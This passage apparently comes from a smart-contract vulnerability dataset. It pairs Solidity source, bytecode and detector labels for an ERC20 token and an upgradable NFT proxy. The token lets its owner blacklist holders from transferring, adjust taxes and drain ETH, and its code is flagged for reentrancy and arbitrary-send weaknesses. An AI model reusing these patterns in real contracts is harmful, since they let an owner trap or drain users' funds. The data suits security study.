_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setRemoveMaxTx(bool onoff) external onlyOwner() {
removeMaxTx = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0);
require(!bots[from]);
if (!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to] ) {
_feeAddr1 = 0;
_feeAddr2 = _buyTax;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _maxTxAmount);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = _sellTax;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddress.transfer(amount);
}
function createPair() external onlyOwner(){
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
removeMaxTx = true;
_maxTxAmount = 10_000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() public onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() public onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
if (maxTxAmount > 20_000_000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function _setSellTax(uint256 sellTax) external onlyOwner() {
if (sellTax < 15) {
_sellTax = sellTax;
}
}
function setBuyTax(uint256 buyTax) external onlyOwner() {
if (buyTax < 15) {
_buyTax = buyTax;
}
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a14610350578063c3c8cd8014610370578063c9567bf914610385578063dbe8272c1461039a578063dc1052e2146103ba578063dd62ed3e146103da57600080fd5b8063715018a6146102ab5780638da5cb5b146102c057806395d89b41146102e85780639e78fb4f1461031b578063a9059cbb1461033057600080fd5b8063273123b7116100f2578063273123b71461021a578063313ce5671461023a57806346df33b7146102565780636fc3eaec1461027657806370a082311461028b57600080fd5b806306fdde031461013a578063095ea7b31461018457806318160ddd146101b45780631bbae6e0146101d857806323b872dd146101fa57600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060408051808201909152600f81526e4368696c6c20536869626120496e7560881b60208201525b60405161017b919061160a565b60405180910390f35b34801561019057600080fd5b506101a461019f366004611684565b610420565b604051901515815260200161017b565b3480156101c057600080fd5b5066038d7ea4c680005b60405190815260200161017b565b3480156101e457600080fd5b506101f86101f33660046116b0565b610437565b005b34801561020657600080fd5b506101a46102153660046116c9565b610482565b34801561022657600080fd5b506101f861023536600461170a565b6104eb565b34801561024657600080fd5b506040516009815260200161017b565b34801561026257600080fd5b506101f8610271366004611735565b610536565b34801561028257600080fd5b506101f861057e565b34801561029757600080fd5b506101ca6102a636600461170a565b6105b2565b3480156102b757600080fd5b506101f86105d4565b3480156102cc57600080fd5b506000546040516001600160a01b03909116815260200161017b565b3480156102f457600080fd5b5060408051808201909152600a8152694348494c4c534849424160b01b602082015261016e565b34801561032757600080fd5b506101f8610648565b34801561033c57600080fd5b506101a461034b366004611684565b61085a565b34801561035c57600080fd5b506101f861036b366004611768565b610867565b34801561037c57600080fd5b506101f86108fd565b34801561039157600080fd5b506101f861093d565b3480156103a657600080fd5b506101f86103b53660046116b0565b610ae3565b3480156103c657600080fd5b506101f86103d53660046116b0565b610b1b565b3480156103e657600080fd5b506101ca6103f536600461182d565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b600061042d338484610b53565b5060015b92915050565b6000546001600160a01b0316331461046a5760405162461bcd60e51b815260040161046190611866565b60405180910390fd5b66470de4df82000081111561047f5760108190555b50565b600061048f848484610c77565b6104e184336104dc85604051806060016040528060288152602001611a2a602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f32565b610b53565b5060019392505050565b6000546001600160a01b031633146105155760405162461bcd60e51b815260040161046190611866565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105605760405162461bcd60e51b815260040161046190611866565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146105a85760405162461bcd60e51b815260040161046190611866565b4761047f81610f6c565b6001600160a01b03811660009081526002602052604081205461043190610fa6565b6000546001600160a01b031633146105fe5760405162461bcd60e51b815260040161046190611866565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106725760405162461bcd60e51b815260040161046190611866565b600f54600160a01b900460ff16156106cc5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610461565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa158015610731573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610755919061189b565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107a2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c6919061189b565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610813573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610837919061189b565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b600061042d338484610c77565b6000546001600160a01b031633146108915760405162461bcd60e51b815260040161046190611866565b60005b81518110156108f9576001600660008484815181106108b5576108b56118b8565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108f1816118e4565b915050610894565b5050565b6000546001600160a01b031633146109275760405162461bcd60e51b815260040161046190611866565b6000610932306105b2565b905061047f8161102a565b6000546001600160a01b031633146109675760405162461bcd60e51b815260040161046190611866565b600e546109869030906001600160a01b031666038d7ea4c68000610b53565b600e546001600160a01b031663f305d71947306109a2816105b2565b6000806109b76000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a1f573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a4491906118fd565b5050600f80546509184e72a00060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610abf573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061047f919061192b565b6000546001600160a01b03163314610b0d5760405162461bcd60e51b815260040161046190611866565b600f81101561047f57600b55565b6000546001600160a01b03163314610b455760405162461bcd60e51b815260040161046190611866565b600f81101561047f57600c55565b6001600160a01b038316610bb55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610461565b6001600160a01b038216610c165760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610461565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cdb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610461565b6001600160a01b038216610d3d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610461565b60008111610d4a57600080fd5b6001600160a01b03831660009081526006602052604090205460ff1615610d7057600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610db257506001600160a01b03821660009081526005602052604090205460ff16155b15610f22576000600955600c54600a55600f546001600160a01b038481169116148015610ded5750600e546001600160a01b03838116911614155b8015610e1257506001600160a01b03821660009081526005602052604090205460ff16155b8015610e275750600f54600160b81b900460ff165b15610e54576000610e37836105b2565b601054909150610e4783836111a4565b1115610e5257600080fd5b505b600f546001600160a01b038381169116148015610e7f5750600e546001600160a01b03848116911614155b8015610ea457506001600160a01b03831660009081526005602052604090205460ff16155b15610eb5576000600955600b54600a555b6000610ec0306105b2565b600f54909150600160a81b900460ff16158015610eeb5750600f546001600160a01b03858116911614155b8015610f005750600f54600160b01b900460ff165b15610f2057610f0e8161102a565b478015610f1e57610f1e47610f6c565b505b505b610f2d838383611203565b505050565b60008184841115610f565760405162461bcd60e51b8152600401610461919061160a565b506000610f638486611948565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156108f9573d6000803e3d6000fd5b600060075482111561100d5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610461565b600061101761120e565b90506110238382611231565b9392505050565b600f805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611072576110726118b8565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156110cb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110ef919061189b565b81600181518110611102576111026118b8565b6001600160a01b039283166020918202929092010152600e546111289130911684610b53565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061116190859060009086903090429060040161195f565b600060405180830381600087803b15801561117b57600080fd5b505af115801561118f573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b6000806111b183856119d0565b9050838110156110235760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610461565b610f2d838383611273565b600080600061121b61136a565b909250905061122a8282611231565b9250505090565b600061102383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113a8565b600080600080600080611285876113d6565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506112b79087611433565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546112e690866111a4565b6001600160a01b03891660009081526002602052604090205561130881611475565b61131284836114bf565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161135791815260200190565b60405180910390a3505050505050505050565b600754600090819066038d7ea4c680006113848282611231565b82101561139f5750506007549266038d7ea4c6800092509050565b90939092509050565b600081836113c95760405162461bcd60e51b8152600401610461919061160a565b506000610f6384866119e8565b60008060008060008060008060006113f38a600954600a546114e3565b925092509250600061140361120e565b905060008060006114168e878787611538565b919e509c509a509598509396509194505050505091939550919395565b600061102383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f32565b600061147f61120e565b9050600061148d8383611588565b306000908152600260205260409020549091506114aa90826111a4565b30600090815260026020526040902055505050565b6007546114cc9083611433565b6007556008546114dc90826111a4565b6008555050565b60008080806114fd60646114f78989611588565b90611231565b9050600061151060646114f78a89611588565b90506000611528826115228b86611433565b90611433565b9992985090965090945050505050565b60008080806115478886611588565b905060006115558887611588565b905060006115638888611588565b90506000611575826115228686611433565b939b939a50919850919650505050505050565b60008260000361159a57506000610431565b60006115a68385611a0a565b9050826115b385836119e8565b146110235760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610461565b600060208083528351808285015260005b818110156116375785810183015185820160400152820161161b565b81811115611649576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461047f57600080fd5b803561167f8161165f565b919050565b6000806040838503121561169757600080fd5b82356116a28161165f565b946020939093013593505050565b6000602082840312156116c257600080fd5b5035919050565b6000806000606084860312156116de57600080fd5b83356116e98161165f565b925060208401356116f98161165f565b929592945050506040919091013590565b60006020828403121561171c57600080fd5b81356110238161165f565b801515811461047f57600080fd5b60006020828403121561174757600080fd5b813561102381611727565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561177b57600080fd5b823567ffffffffffffffff8082111561179357600080fd5b818501915085601f8301126117a757600080fd5b8135818111156117b9576117b9611752565b8060051b604051601f19603f830116810181811085821117156117de576117de611752565b6040529182528482019250838101850191888311156117fc57600080fd5b938501935b828510156118215761181285611674565b84529385019392850192611801565b98975050505050505050565b6000806040838503121561184057600080fd5b823561184b8161165f565b9150602083013561185b8161165f565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156118ad57600080fd5b81516110238161165f565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600182016118f6576118f66118ce565b5060010190565b60008060006060848603121561191257600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561193d57600080fd5b815161102381611727565b60008282101561195a5761195a6118ce565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119af5784516001600160a01b03168352938301939183019160010161198a565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156119e3576119e36118ce565b500190565b600082611a0557634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611a2457611a246118ce565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200109bfb224fefc2a61ecd03095729f31ec0289af98b265b97e7004cc3c0b2c0264736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 1,627 |
0x84445ab4a7d30e3398113dffcb0bb7be04d5ef4b
|
/*
.g8"""bgd `7MM"""YMM
.dP' `M MM `7
dM' ` ,pW"Wq. MM d
MM 6W' `Wb MMmmMM
MM. `7MMF' 8M M8 MM Y ,
`Mb. MM YA. ,A9 MM ,M
`"bmmmdPY `Ybmd9' .JMMmmmmMMM
__,
M******A' pd*"*b. `7MM
Y A' (O) j8 MM
A' ,;j9 MM
A' ,-=' MM
A' Ammmmmmm .JMML.
`7MM"""Mq. A'
MM `MM.
MM ,M9 `7Mb,od8 ,pW"Wq. `7M' `MF' `7M' `MF'
MMmmdM9 MM' "' 6W' `Wb `VA ,V' VA ,V
MM MM 8M M8 XMX VA ,V
MM MM YA. ,A9 ,V' VA. VVV
.JMML. .JMML. `Ybmd9' .AM. .MA. ,V
,V
OOb"
*/
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0;
interface IGoEHelper {
function isContract(address) external view returns (bool);
function toString(uint256) external pure returns (string memory);
}
interface IGoE20Basic {
function decimals() external view returns(uint256);
function transferFrom(address,address,uint256) external returns (bool);
function allowance(address,address) external view returns (uint256);
function transfer(address,uint256) external returns (bool);
function balanceOf(address) external view returns (uint256);
}
interface IGoE721Basic {
function exists(uint256) external view returns(bool);
function ownerOf(uint256) external view returns (address);
}
interface IGoEBridge {
function formCrossChainGateRequest(uint256, uint256, address, bool) external view returns(bytes memory);
function createCrossChainGateRequest(bytes memory _nRequest) external returns(bool);
}
contract ProxyData {
// internal address of proxy
address internal proxied;
// internal mapping for authorized address
mapping(bytes32 => bool) internal authorized;
// enum for authorization types
enum AType {
KEY,
ADMIN,
CONTRACT
}
address internal _owner;
}
contract GoEAccess is ProxyData {
constructor(){
authorized[_getKec(msg.sender, AType.KEY)] = true;
_owner = 0xd928775286848A0624342252167c3FFc459bADed;
}
function _msgSender() internal view returns (address) {
return msg.sender;
}
function _getKec(address a, AType t) internal pure returns(bytes32){
return(keccak256(abi.encode(a, t)));
}
function _isAuthorized(address _addr) internal view returns(uint8){
require(_addr != address(0), "GoEAccess: No Zero Addresses allowed");
if(authorized[_getKec(_addr, AType.KEY)]){
return 3;
}
else if(authorized[_getKec(_addr, AType.ADMIN)]){
return 2;
}
else if(authorized[_getKec(_addr, AType.CONTRACT)]){
return 1;
}else{
return 0;
}
}
function authorizeAddress(AType addressType, address authorizedAddress) public keyAllowed {
require(_isAuthorized(authorizedAddress) == 0, "GoEAccess: This address is already authorized");
_authorizeAddress(addressType, authorizedAddress);
}
function _authorizeAddress(AType _at, address _a) internal {
authorized[_getKec(_a, _at)] = true;
}
function _unauthorizeAddress(AType _at, address _a) internal {
authorized[_getKec(_a, _at)] = false;
}
modifier keyAllowed() {
require(_isAuthorized(_msgSender()) == 3, "GoEAccess: Key person only.");
_;
}
modifier adminsAllowed() {
require(_isAuthorized(_msgSender()) >= 2, "GoEAccess: Only allowed admins have access");
_;
}
modifier contractsAllowed() {
require(_isAuthorized(_msgSender()) >= 1, "GoEAccess: Only allowed contracts have access");
_;
}
function owner() public view returns (address) {
return _owner;
}
function changeOwner(address _newOwner) public keyAllowed {
_owner = _newOwner;
}
}
contract GoE20Transactions {
/**
* boring ERC20 function to send compliant tokens
*/
function send20Token(address token, address reciever, uint256 amount) internal returns(bool){
require(IGoE20Basic(token).balanceOf(address(this)) > amount, "GoE20Transactions: No enough balance");
require(IGoE20Basic(token).transfer(reciever, amount), "GoE20Transactions: Cannot currently transfer");
return true;
}
/**
* boring ERC20 function to recieve compliant tokens
*/
function recieve20Token(address token, address sender, uint256 amount) internal returns(bool) {
require(IGoE20Basic(token).allowance(sender, address(this)) >= amount, "GoE20Transactions: Need to approve the token");
require(IGoE20Basic(token).transferFrom(sender, address(this), amount), "GoE20Transactions: Need to transfer tokens ");
return true;
}
}
contract GoE721Data is ProxyData {
/**
* events required by Non-Fungible tokens implementation
* more info @ https://eips.ethereum.org/EIPS/eip-721[EIP]
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* variables used by ERC721 standard contracts with additional params :
*
* 1. `_attribProxy` parameter which provides onChain data attributes
* for all Non-Fungible tokens produced by proxy implemented contracts.
*
* 2. `_reservedAmount` a certain pre-specified amount of Non-Fungible tokens
* for the contract to reserve.
*
* 3. `_paused` a control variable for ERC721 {mint} function.
*/
address _attribProxy;
string _name;
string _symbol;
string _baseUrl;
string _baseExtention;
uint256 _mintIdx;
uint256 _maxSupply;
uint256 _reservedAmount;
bool _paused;
/**
* variables required by Non-Fungible tokens implementation
* more info @ https://eips.ethereum.org/EIPS/eip-721[EIP]
* to adhere to functionality requested by the EIP. Main fork from OpenZepplin
* more info @ https://docs.openzeppelin.com/contracts/2.x/api/token/erc721
*/
mapping(address => uint256) _mintCost;
mapping(uint256 => address) _owners;
mapping(address => uint256) _balances;
mapping(uint256 => address) _tokenApprovals;
mapping(address => mapping(address => bool)) _operatorApprovals;
mapping(uint256 => uint256) _bridged;
mapping(uint256 => address) _bridgeReference;
}
contract Proxy is ProxyData, GoEAccess {
constructor(address _proxied) {
proxied = _proxied;
}
/**
* @notice proxy implementation of {address contract}
*/
function implementation() public view returns (address) {
return proxied;
}
/**
* @notice EIP-897 "Forwarding Proxy" implementation
*/
function proxyType() public pure returns (uint256) {
return 1;
}
receive() external payable {
}
fallback () external payable {
address addr = proxied;
assembly {
let freememstart := mload(0x40)
calldatacopy(freememstart, 0, calldatasize())
let success := delegatecall(not(0), addr, freememstart, calldatasize(), freememstart, 0)
returndatacopy(freememstart, 0, returndatasize())
switch success
case 0 { revert(freememstart, returndatasize()) }
default { return(freememstart, returndatasize()) }
}
}
}
contract GoE721Proxy is Proxy, GoE721Data, GoE20Transactions {
/**
* @dev creates a new {GoE721Basic} contract with the passed attributes
*/
constructor (address proxied, address attribProxy_, string memory name_, string memory symbol_, string memory baseUri_, string memory baseExt_, uint256 maxSupply_, uint256 reservedAmount_, uint256 nativeMintCost_, uint256[] memory mintCosts_, address[] memory mintTokens_) Proxy(proxied) {
_name = name_;
_symbol = symbol_;
_baseUrl = baseUri_;
_baseExtention = baseExt_;
_maxSupply = maxSupply_;
_reservedAmount = reservedAmount_;
_mintCost[address(0)] = nativeMintCost_;
_mintIdx = 1;
require(mintTokens_.length == mintCosts_.length, "GoE721Proxy: Tokens and Costs need to be the same length");
for(uint256 i=0; i<mintTokens_.length; i++){
_mintCost[mintTokens_[i]] = mintCosts_[i];
}
_paused = true;
_attribProxy = attribProxy_;
}
/**
* @dev upgradable proxy, change the calls to another implementation
*
* Still EIP-897 compliant for forwarding proxy
*/
function changeProxy(address _proxied) external adminsAllowed {
proxied = _proxied;
}
/**
* onChain attributes contract for all Non-Fungible tokens "minted" by
* the `_proxied` contract
*/
function changeAttribProxy(address attribProxy_) external adminsAllowed {
_attribProxy = attribProxy_;
}
function changeURLParams(string memory baseUri_, string memory baseExt_) external adminsAllowed {
_baseUrl = baseUri_;
_baseExtention = baseExt_;
}
function pauseToggle() external adminsAllowed {
_paused = !_paused;
}
function changeMintCost(address token, uint256 cost) external adminsAllowed {
_mintCost[token] = cost;
}
function withdraw(address token, address to, uint256 amount) external keyAllowed {
if(token == address(0)){
require(payable(to).send(amount));
}else{
send20Token(token, to, amount);
}
}
function policyMint(address _to, uint256 _amount) external contractsAllowed {
require(_mintIdx+_amount <= _maxSupply, "GoE721Proxy: Total amounts more than reserved");
for(uint256 i=0; i<_amount; i++){
_bridgeMint(_to, _mintIdx);
_mintIdx += 1;
}
}
function switchToChain(uint256 tokenId, uint256 chainId) external contractsAllowed {
address oldOwner = IGoE721Basic(proxied).ownerOf(tokenId);
require(_bridged[tokenId] == block.chainid || _bridged[tokenId] == 0, "GoE721Proxy: This token is already not on this chain");
require(IGoEBridge(msg.sender).createCrossChainGateRequest(IGoEBridge(msg.sender).formCrossChainGateRequest(chainId, tokenId, oldOwner, true)), "GoE721Proxy: Cannot switch chains currently");
_bridgeBurn(oldOwner, tokenId);
_bridged[tokenId] = chainId;
_bridgeReference[tokenId] = oldOwner;
}
function switchFromChain(uint256 tokenId, address tokenOwner) external contractsAllowed {
require(_bridged[tokenId] != block.chainid, "GoE721Proxy: This token is already on this chain");
_bridgeMint(tokenOwner, tokenId);
_bridgeReference[tokenId] = tokenOwner;
_bridged[tokenId] = block.chainid;
}
function _bridgeMint(address to, uint256 tokenId) internal {
require(!IGoE721Basic(proxied).exists(tokenId), "GoE721Proxy: Bridge minting does not allow tokens that are already minted");
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
function _bridgeBurn(address from, uint256 tokenId) internal {
address oldOwner = IGoE721Basic(proxied).ownerOf(tokenId);
require(oldOwner == from, "GoE721Proxy: Bridge burning does not allow unowned tokens");
_tokenApprovals[tokenId] = address(0);
_balances[oldOwner] -= 1;
delete _owners[tokenId];
emit Approval(oldOwner, address(0), tokenId);
emit Transfer(oldOwner, address(0), tokenId);
}
}
|
0x6080604052600436106100e15760003560e01c8063a37e28bb1161007f578063c403184111610059578063c4031841146102c4578063c58cc488146102ed578063cf50f8c514610316578063d9caed121461033f576100e8565b8063a37e28bb14610249578063a6f9dae114610272578063c18ace051461029b576100e8565b8063834307d9116100bb578063834307d9146101b557806388f91285146101cc5780638bf380cf146101f55780638da5cb5b1461021e576100e8565b80634555d5c9146101365780635c60da1b14610161578063783fd9221461018c576100e8565b366100e857005b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506040513660008237600081368385600019f43d6000833e8060008114610132573d83f35b3d83fd5b34801561014257600080fd5b5061014b610368565b6040516101589190611f46565b60405180910390f35b34801561016d57600080fd5b50610176610371565b6040516101839190611d17565b60405180910390f35b34801561019857600080fd5b506101b360048036038101906101ae91906119b6565b61039a565b005b3480156101c157600080fd5b506101ca610422565b005b3480156101d857600080fd5b506101f360048036038101906101ee9190611976565b6104a4565b005b34801561020157600080fd5b5061021c600480360381019061021791906118c0565b610555565b005b34801561022a57600080fd5b50610233610646565b6040516102409190611d17565b60405180910390f35b34801561025557600080fd5b50610270600480360381019061026b91906118c0565b610670565b005b34801561027e57600080fd5b5061029960048036038101906102949190611813565b61070e565b005b3480156102a757600080fd5b506102c260048036038101906102bd9190611a9b565b6107a7565b005b3480156102d057600080fd5b506102eb60048036038101906102e69190611813565b610af5565b005b3480156102f957600080fd5b50610314600480360381019061030f9190611a5b565b610b8e565b005b34801561032257600080fd5b5061033d60048036038101906103389190611813565b610cb2565b005b34801561034b57600080fd5b506103666004803603810190610361919061186d565b610d4c565b005b60006001905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60026103ac6103a7610e2b565b610e33565b60ff1610156103f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103e790611de6565b60405180910390fd5b8160069080519060200190610406929190611612565b50806007908051906020019061041d929190611612565b505050565b600261043461042f610e2b565b610e33565b60ff161015610478576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161046f90611de6565b60405180910390fd5b600b60009054906101000a900460ff1615600b60006101000a81548160ff021916908315150217905550565b60036104b66104b1610e2b565b610e33565b60ff16146104f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104f090611ee6565b60405180910390fd5b600061050482610e33565b60ff1614610547576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161053e90611ec6565b60405180910390fd5b6105518282610f59565b5050565b6001610567610562610e2b565b610e33565b60ff1610156105ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a290611f06565b60405180910390fd5b600954816008546105bc919061205a565b11156105fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f490611e26565b60405180910390fd5b60005b81811015610